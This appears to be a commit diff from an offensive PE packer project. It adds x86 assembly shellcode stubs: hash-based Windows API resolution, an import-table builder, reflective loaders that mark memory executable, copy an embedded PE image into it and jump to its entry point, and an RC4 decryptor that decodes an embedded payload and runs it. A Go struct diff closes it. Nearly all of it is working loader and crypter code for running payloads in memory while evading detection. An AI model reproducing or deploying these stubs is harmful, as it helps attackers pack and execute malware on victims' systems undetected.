mov ecx, [edx+60] ; Get PE header
; use ecx as our EAT pointer here so we can take advantage of jecxz.
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
jecxz get_next_mod1 ; If no EAT present, process the next module
add ecx, edx ; Add the modules base address
push ecx ; Save the current modules EAT
mov ebx, [ecx+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
mov ecx, [ecx+24] ; Get the number of function names
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
lodsb ; Read in the next byte of the ASCII function name
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searching for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
pop ebx ; Clear off the current modules hash
pop ebx ; Clear off the current position in the module list
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ecx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop edi ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp short next_mod ; Process this module
+83
View File
@@ -0,0 +1,83 @@
;
; Author: Ege Balcı <ege.balci@invictuseurope.com>
; Version: 1.0
[BITS 32]
[ORG 0]
BuildImportTable:
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
mov eax,[eax+esi+0x80] ; Import table RVA
add eax,esi ; Import table memory address (first image import descriptor)
push eax ; Save import descriptor to stack
GetDLLs:
cmp dword [eax],0x00 ; Check if the import names table RVA is NULL
jz Complete ; If yes building process is done
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
add eax,esi ; Get the dll name address
call LoadLibraryA ; Load the library
mov ebx,eax ; Move the dll handle to ebx
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
call GetProcs ; Resolve all windows API function addresses
add dword [esp],0x14 ; Move to the next import descriptor
mov eax,[esp] ; Set the new import descriptor address to eax
jmp GetDLLs
;-----------------------------------------------------------------------------------
GetProcs:
push ecx ; Save ecx to stack
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
add [esp],esi ; Get the IAT memory address
mov eax,[eax] ; Set the import names table RVA to eax
add eax,esi ; Get the current import descriptor's import names table address
push eax ; Save it to stack
Resolve:
cmp dword [eax],0x00 ; Check if end of the import names table
jz AllResolved ; If yes resolving process is done
mov eax,[eax] ; Get the RVA of function hint to eax
cmp eax,0x80000000 ; Check if the high order bit is set
js NameResolve ; If high order bit is not set resolve with INT entry
sub eax,0x80000000 ; Zero out the high bit
call GetProcAddress ; Get the API address with hint
jmp InsertIAT ; Insert the address of API tı IAT
NameResolve:
add eax,esi ; Set the address of function hint
add dword eax,0x02 ; Move to function name
call GetProcAddress ; Get the function address to eax
InsertIAT:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov [ecx],eax ; Insert the function address to IAT
add dword [esp],0x04 ; Increase the import names table index
add dword [esp+4],0x04 ; Increase the IAT index
mov eax,[esp] ; Set the address of import names table address to eax
jmp Resolve ; Loop
AllResolved:
mov ecx,[esp+4] ; Move the IAT address to ecx
mov dword [ecx],0x00 ; Insert a NULL dword
add esp,0x08 ; Deallocate index values
pop ecx ; Put back the ecx value
ret ; <-
;-----------------------------------------------------------------------------------
LoadLibraryA:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of linrary name string
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA([esp+4])
pop edx ; Retreive edx
pop ecx ; Retreive ecx
ret ; <-
;-----------------------------------------------------------------------------------
GetProcAddress:
push ecx ; Save ecx to stack
push edx ; Save edx to stack
push eax ; Push the address of proc name string
push ebx ; Push the dll handle
push 0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" )
call ebp ; GetProcAddress(ebx,[esp+4])
pop edx ; Retrieve edx
pop ecx ; Retrieve ecx
ret ; <-
;-----------------------------------------------------------------------------------
Complete:
pop eax ; Clean out the stack
+110
View File
@@ -0,0 +1,110 @@
;-----------------------------------------------------------------------------;
; Author: Ege Balcı <ege.balci[at]invictuseurope[dot]com>
; Compatible: Windows 10/8.1/8/7/2008/Vista/2003/XP/2000/NT4
; Version: 1.0 (25 January 2018)
; Size: 177 bytes
;-----------------------------------------------------------------------------;
; This block locates addresses from import address table with given ror(13) hash value.
; Design is inpired from Stephen Fewer's hash api.
[BITS 32]
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
; Output: The return value from the API call will be in EAX.
; Clobbers: EAX, EBX, ECX and EDX (NOT !! the normal stdcall calling convention because EBX is clobbered)
; Un-Clobbered: ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
; Note: This function is unable to call forwarded exports.
%define ROTATION 0x0D ; Rotation value for ROR hash
set_essentials:
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
xor eax,eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
mov edx,[fs:eax+0x30] ; Get a pointer to the PEB
mov edx,[edx+0x0C] ; Get PEB->Ldr
mov edx,[edx+0x14] ; Get the first module from the InMemoryOrder module list
mov edx,[edx+0x10] ; Get this modules base address
push edx ; Save the image base to stack (will use this alot)
add edx,[edx+0x3C] ; "PE" Header
mov edx,[edx+0x80] ; Import table RVA
add edx,[esp] ; Address of Import Table
push edx ; Save the &IT to stack (will use this alot)
mov esi,[esp+4] ; Move the image base to ESI
sub esp,0x08 ; Allocate space for import descriptor counter & hash
sub edx,0x14 ; Prepare the import descriptor pointer for processing
next_desc:
add edx,0x14 ; Get the next import descriptor
cmp dword [edx],0x00 ; Check if import descriptor valid
jz not_found ; If import name array RVA is zero finish parsing
mov esi,[esp+0x08] ; Move the import table address to esi
mov si,[edx+0x0C] ; Get pointer to module name string RVA
xor edi,edi ; Clear EDI which will store the hash of the module name
loop_modname: ;
lodsb ; Read in the next byte of the name
cmp al, 'a' ; Some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; If so normalise to uppercase
not_lowercase: ;
ror edi,ROTATION ; Rotate right our hash value
add edi,eax ; Add the next byte of the name
ror edi,ROTATION ; In order to calculate the same hash values as Stephen Fewer's hash API we need to rotate one more and add a null byte.
test al,al ; Check if we read all
jnz loop_modname
; We now have the module hash computed
mov [esp+4],edx ; Save the current position in the module list for later
mov [esp],edi ; Save the current module hash for later
; Proceed to iterate the export address table,
mov ecx,[edx] ; Get the RVA of import names table
add ecx,[esp+0x0C] ; Add image base and get address of import names table
sub ecx,0x04 ; Go 4 byte back
get_next_func:
; use ecx as our EAT pointer here so we can take advantage of jecxz.
add ecx,0x04 ; 4 byte forward
cmp dword [ecx],0x00 ; Check if end of INT
jz next_desc ; If no INT present, process the next import descriptor
mov esi,[ecx] ; Get the RVA of func name hint
cmp esi,0x80000000 ; Check if the high order bit is set
jns get_next_func ; If not there is no function name string :(
add esi,[esp+0x0C] ; Add the image base and get the address of function hint
add dword esi,0x02 ; Move 2 bytes forward to asci function name
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
xor edi,edi ; Clear EDI which will store the hash of the function name
; And compare it to the one we want
loop_funcname: ;
lodsb ; Read in the next byte of the ASCII function name
ror edi,ROTATION ; Rotate right our hash value
add edi,eax ; Add the next byte of the name
cmp al,ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi,[esp] ; Add the current module hash to the function hash
cmp edi,[esp+0x34] ; Compare the hash to the one we are searching for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
mov eax,[edx+0x10] ; Get the RVA of current descriptor's IAT
mov edx,[edx] ; Get the import names table RVA of current import descriptor
add edx,[esp+0x0C] ; Get the address of import names table of current import descriptor
sub ecx,edx ; Find the function array index ?
add eax,[esp+0x0C] ; Add the image base to current descriptors IAT RVA
add eax,ecx ; Add the function index
; Now we clean the stack
; We now fix up the stack and perform the call to the desired function...
finish:
mov [esp+0x2C],eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
add esp,0x10 ; Deallocate saved module hash, import descriptor address and import table address
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
pop ebx ; Pop off the origional return address our caller will have pushed
pop edx ; Pop off the hash value our caller will have pushed
mov eax,[eax] ; Get the add ress of the desired API
call eax ; Call API
push ebx ; Push back the return value
ret ;
; We now automagically return to the correct caller...
not_found:
add esp,0x0F ; Fix the stack
popad ; Restore all registers
ret ; Return
; (API is not found)
+49
View File
@@ -0,0 +1,49 @@
;
; Author: Ege Balcı <ege.balci@invictuseurope.com>
; Version: 1.0
[BITS 32]
[ORG 0]
call Stub
PE:
incbin "Mem.map" ; PE file image
ImageSize: equ $-PE
Stub:
pop esi ; Get the address of image to esi
call IAT_API ;
%include "iat_api.asm" ;
IAT_API:
pop ebp ; Pop the address of iat_api to ebp
call GetAOE
push 0x00000000 ; Allocate a DWORD variable inside stack
push esp ; lpflOldProtect
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push ImageSize ; dwSize
push ebx ; lpAddress
push 0xC38AE110 ; hash( "kernel32.dll", "VirtualProtect" )
call ebp ; VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, lpflOldProtect)
test eax,eax ; Check success
jz Fail ; If VirtualProtect fails don't bother :/
%include "BuildImportTable.asm" ; Call the module responsible for building the import address table
xor ecx,ecx ; Zero out the ECX
call GetAOE ; Get image base and AOE
push ebx ; Store the image base to stack
add [esp],eax ; Add the AOE value
Memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register
mov [ebx],al ; Move 1 byte of PE image to image base
inc esi ; Increase PE image index
inc ebx ; Increase image base index
inc ecx ; Decrease loop counter
cmp ecx,ImageSize ; Check if ECX is 0
jnz Memcpy ; If not loop
mov dword eax,[esp] ; Copy the AOEP to eax
ret ; Return to the AOEP
GetAOE:
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
ret ; <-
Fail:
ret ; VirtualProtect failed :(
+50
View File
@@ -0,0 +1,50 @@
;
; Author: Ege Balcı <ege.balci@invictuseurope.com>
; Version: 1.0
[BITS 32]
[ORG 0]
cld
call Start
%include "block_api.asm"
GetAOE:
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
ret ; <-
Start:
pop ebp
call Stub
PE:
incbin "Mem.map" ; PE file image
ImageSize: equ $-PE
Stub:
pop esi ; Get the address of image to esi
call GetAOE
push 0x00000000 ; Allocate a DWORD variable inside stack
push esp ; lpflOldProtect
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push ImageSize ; dwSize
push ebx ; lpAddress
push 0xC38AE110 ; hash( "kernel32.dll", "VirtualProtect" )
call ebp ; VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, lpflOldProtect)
test eax,eax ; Check success
jz Fail ; If VirtualProtect fails we are FUCKED !
%include "BuildImportTable.asm" ; Call the module responsible for building the import address table
xor ecx,ecx ; Zero out the ECX
call GetAOE ; Get image base and AOE
push ebx ; Store the image base to stack
add [esp],eax ; Add the AOE value
Memcpy:
mov al,[esi] ; Move 1 byte of PE image to AL register
mov [ebx],al ; Move 1 byte of PE image to image base
inc esi ; Increase PE image index
inc ebx ; Increase image base index
inc ecx ; Decrease loop counter
cmp ecx,ImageSize ; Check if ECX is 0
jnz Memcpy ; If not loop
mov dword eax,[esp] ; Copy the AOEP to eax
ret ; Return to the AOEP
Fail:
ret ; VirtualProtect failed :(
+61
View File
@@ -0,0 +1,61 @@
;-----------------------------------------------------------------------------;
; Authors: Michael Schierl, Ege Balcı
; Version: 2.0 (02 December 2017)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP - Data to decode
; ESI - Key
; ECX - Data size
; EDI - Scratch place for S-box
; Direction flag has to be cleared
; Output: None. Data is decoded in place.
; Clobbers: EAX, EBX, ECX, EDX, EBP
cld
call start
Payload:
incbin "../Payload.rc4"
PSize: equ $-Payload
Key:
incbin "../Payload.key"
KSize: equ $-Key
; Initialize S-box
start:
pop ebp ; Pop out the address of payload to ebp
lea esi,[ebp+PSize] ; Load the address of key to esi
mov ecx,PSize ; Move the size of the amber payload to ecx
mov edi,esp ; Set the address of stack as scratch box
xor eax, eax ; Start with 0
init:
stosb ; Store next SBox byte S[i] = i
inc al ; Increase byte to write (EDI is increased automatically)
jnz init ; Loop until we wrap around
sub edi, 0x100 ; Restore EDI
; Permute S-box according to key
xor ebx, ebx ; Clear EBX (EAX is already cleared)
permute:
add bl,[edi+eax] ; BL += S[AL] + KEY[AL % sizeof(Key)]
mov edx,eax ;
and dl,KSize-1 ; dl & sizeof(Key)
add bl,[esi+edx] ; Move next byte of key to bl
mov dl,[edi+eax] ; swap S[AL] and S[BL]
xchg dl,[edi+ebx] ; ..
mov [edi+eax], dl ; ..
inc al ; AL += 1 until we wrap around
jnz permute ;
; Decryption loop
xor ebx, ebx ; Clear EBX (EAX is already cleared)
decrypt:
inc al ; AL += 1
add bl,[edi+eax] ; BL += S[AL]
mov dl,[edi+eax] ; swap S[AL] and S[BL]
xchg dl,[edi+ebx] ;
mov [edi+eax], dl ;
add dl,[edi+ebx] ; DL = S[AL]+S[BL]
mov dl,[edi+edx] ; DL = S[DL]
xor [ebp],dl ; [EBP] ^= DL
inc ebp ; Advance data pointer
dec ecx ; Reduce counter
jnz decrypt ; Until finished
jmp Payload
+10 -12
View File
@@ -1,6 +1,5 @@
package main
import "gopkg.in/cheggaaa/pb.v1"
import "github.com/fatih/color"
const VERSION string = "1.4.0"
@@ -16,22 +15,22 @@ type PEID struct {
staged bool
iat bool
resource bool
scrape bool
scrape bool
verbose bool
debug bool
help bool
clean bool
help bool
clean bool
IgnoreIntegrity bool
//Analysis...
FileSize string
dll bool
aslr bool
opt OptionalHeader
VP string
GPA string
LLA string
FileSize string
dll bool
aslr bool
opt OptionalHeader
VP string
GPA string
LLA string
}
type OptionalHeader struct {
@@ -72,7 +71,6 @@ type DataDirectory struct {
Size uint32
}
var red *color.Color = color.New(color.FgRed)
var BoldRed *color.Color = red.Add(color.Bold)
var blue *color.Color = color.New(color.FgBlue)